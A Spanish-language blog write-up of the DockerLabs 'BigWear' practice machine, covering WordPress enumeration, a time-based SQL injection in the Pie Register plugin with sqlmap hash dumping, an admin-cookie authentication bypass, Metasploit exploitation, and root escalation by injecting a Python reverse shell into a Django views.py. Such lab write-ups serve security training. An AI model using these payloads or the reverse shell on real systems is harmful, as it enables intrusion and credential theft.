Post

BigWear, DockerLabs

portada

Maquina bigwear de DockerLabs en la descripccion nos habla de varias vulnerabilidades web asi que vamos a buscarlas.

Herramientas y recursos

Tecnicas Herramientas objetivo
scan de puertos nmap Descubrimiento de servicios expuestos
Enumeracion de WP wpscan localizar vulnerabilidades y usuario
Dump de bbdd sqlmap Volcado de base de datos
Explotacion web curl / msfconsole obtener revshell
Escalada privilegios python/Django inyeccion de codigo en backend

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre y tenemos tres puertos el 80,el 3000,el 8000los tres son sitios web pero voy a empezar por el 80 y tratandose de un wordpress vamaos a tirar de wpscan

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX bigwear

Reporte nmap

Tiramos un wpscan:

1
wpscan --url http://172.17.0.2 --api-token xxxxxxxxxxxxxxxxxxxxxxxxxxxx --random-user-agent --ignore-main-redirect --plugins-detection mixed -e u,vp -o bigwear_wpscan.txt

Aqui el Reporte wpscan

Blind time based , via 1

Nos encuentra el plugin pie register con numerosas vulnerabilidades primero voy a probar la Unauthenticated SQL Injection.

La vuln la encontramos sobre esta ruta http://172.17.0.2/wp-json/pie/v1/login y es un sql injection time based asi que pruebo una peticion con curl a ver si es verdad y tarda en responder.

1
2
3
4
5
6
7
8
curl -X POST "http://172.17.0.2/wp-json/pie/v1/login" \                                             
     -H "Accept: application/json, text/javascript, */*; q=0.01" \
     -H "Accept-Language: en-GB,en;q=0.5" \
     -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
     -H "X-Requested-With: XMLHttpRequest" \
     -H "Connection: close" \
     --data-urlencode "user_login=' OR SLEEP(5)--" \
     --data-urlencode "login_pass=a

curl

Efectivamente a los 5 segundos obtengo la respuesta , asi que vamos a por los hashes de quien este registrado para ello voy a usar sqlmap , comprobamos que lo de curl de antes sea verdad antes de dumpear nada.

1
2
3
4
5
6
sqlmap -u "http://172.17.0.2/wp-json/pie/v1/login" \                                                                                      
       --data "user_login=admin&login_pass=a" \
       -p "user_login" \
       --technique=T \
       --dbms=MySQL \
       --level=5 --risk=3
1
2
3
4
5
6
7
8
9
10
11
12
13
* -u "http://172.17.0.2/...":	Define la URL objetivo. 

* --data "..."	Indica que la petición es de tipo POST. Aquí envías los datos del formulario (usuario y contraseña).

* -p "user_login"	Especifica el parámetro editable. Le dices a sqlmap que solo pruebe la inyección en user_login e ignore lo demás.

* --technique=T	Limita la prueba a la técnica Time-based blind (Ciega basada en tiempo). El sistema deduce datos midiendo cuánto tarda en responder el servidor.

* --dbms=MySQL	Optimiza el ataque indicando que el sistema de gestión de bases de datos de destino es MySQL.

* --level=5	Establece el nivel de pruebas al máximo (1-5). Amplía el número de vectores y payloads, incluyendo pruebas en cabeceras como Host o User-Agent.

* --risk=3	Establece el riesgo al máximo (1-3). Esto permite payloads que podrían causar daños o cambios en la base de datos (como OR basados en actualizaciones).

confirmacion

Ya hemos tenido confirmacion ahora vamos a buscar nombres de bbdd , tablas columnas

Buscamos el nombre de la base datos:

1
sqlmap -u "http://172.17.0.2/wp-json/pie/v1/login" --data "user_login=admin&login_pass=a" -p "user_login" --technique=T --dbms=MySQL --dbs

ddbb

Buscamos las tablas de dentro de wordpress

1
2
3
4
5
6
sqlmap -u "http://172.17.0.2/wp-json/pie/v1/login" \                                                                                      
       --data "user_login=admin&login_pass=a" \
       -p "user_login" \
       --technique=T \
       --dbms=MySQL \
       -D wordpress --tables

tables

Y por ultimo le indicamos que nos dumpee el contenido de wp_users

1
2
3
4
5
6
7
sqlmap -u "http://172.17.0.2/wp-json/pie/v1/login" \                                                                                      
       --data "user_login=admin&login_pass=a" \
       -p "user_login" \
       --technique=T \
       --dbms=MySQL \
       -D wordpress -T wp_users \
       -C "user_login,user_pass" --dump --threads=5 --batch

hash

Legado a este punto trate de romper el hash con nuetro amigo john y no hubo suerte. Asi que ha probar otra via de acceso.

Unauthenticated Arbitrary File Upload , via 2

Busco un exploit que me asegure que existe dicha vulnerabilidad y me encuentro que lo unico que hace es buscar un fichero y parsear a ver si es de la version esperada.:

1
2
3
4
5
6
7
 response = requests.get(url + "/wp-content/plugins/pie-register/readme.txt", verify = False)

        if response.status_code == 200:
            curr_ver = response.text.split("Stable tag:")[1].split("\n")[0].strip()
            if version.parse(curr_ver) <= version.parse("3.8.3.1"):
                print("[+] The WordPress instance seems to be vulnerable to CVE-2024-27957.")
                return

file

Si buscamos en la web podemos encontrar la url y la peticion que tambien nos confirmaria la vulnerabilidad entregandonos las cookies del admin , este fallo radica en que el backend no comprueba lo que se envia en la peticion post y confia ciegamente en ello, el ve social_site=true y piensa que ya se logueo en alguna red social , no pide token de verifacion firmado por la red social y como sabemos que por lo general el id 1 corresponde al admin pues ahi lo tenemos.

1
2
3
curl -i -s -X POST "http://172.17.0.2/" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     --data "user_id_social_site=1&social_site=true&piereg_login_after_registration=true&_wp_http_referer=/login/&log=null&pwd=null"

Infiltracion y escalada

cookies_admin

Yo no lo hice pero imagino que pegando las cookies en dev tools podriamos yta entrar como admin en la web y modificar el 404 o subir plugin malicioso.

Con estas confirmaciones me voy a msfconsole

1
2
3
4
5
search pie register
use 38
show options
set rhosts 172.17.0.2
exploit

msfconsole

Estamos dentro y nos confirmo lo de las cookies, estaria bueno revisar ese exploit para ver como sube el fichero, sigamos.

Una vez dentro comprobamos que debemos de saltar directos a root no hayt mas usuarios.

passwd

Vemos tambien dos procesos que corren como root el de python y el de node.

ps

En opt tenemos permisos de escritura en muchgos ficheros voy a tratar de mandarme una shell directamente usando django dado que corre como root y el modo debug no da todas las rutas.Como la arquitectura es similar al MVC que en este caso es modelo vista template MVT, el que nos interesa editar es el fichero views.py que es el encargado de toda la logica de la aplicacion, mientras que urls.py es el que recibe la peticion y la deriva ala funcion que decida y por ultimo esta el model.py que es el encargado de hablar con la base de datos.

1- Me creo un fichero con la revshell en /tmp:

1
echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.18.14",1188));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' > /tmp/shell.py

2- Busco el fichero views.py y añado para que carge la revshell recien creada

1
find . -name "views.py"

find

1
sed -i '1i import os; os.system("python3 /tmp/shell.py &")' views.py
  • -i : editamos en el lugar
  • -1i : en la linea 1 inserta

La verdad meterlo en la primera linea del views.py no funciono porque es algo global , dado que ese fichero se carga cuando inicia el servidor o se detecta un cambio en los archivos con auto-load, cosa que no debe hacer ahora mismo por motivos que desconozco, pruebo a ponerlo dentro de una funcion activa que se use cada vez que cargue la web.

1
sed -i '/class CategoriaViewSet(viewsets.ReadOnlyModelViewSet):/a \    def list(self, request, *args, **kwargs): os.system("python3 /tmp/shell.py &"); return super().list(request, *args, **kwargs)' views.py

ejecucion

Shell recibida

root

Siempre es preferible inyectar código dentro de funciones (def) para asegurar su ejecución bajo demanda cuando el servidor no tiene auto-reload.

No olvideis probar la password que esta en settings.py

Maquinaza divertidisima con tantos fallos y formas de acceder , va a estar bueno leer sus writeups. compartan y difundan.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.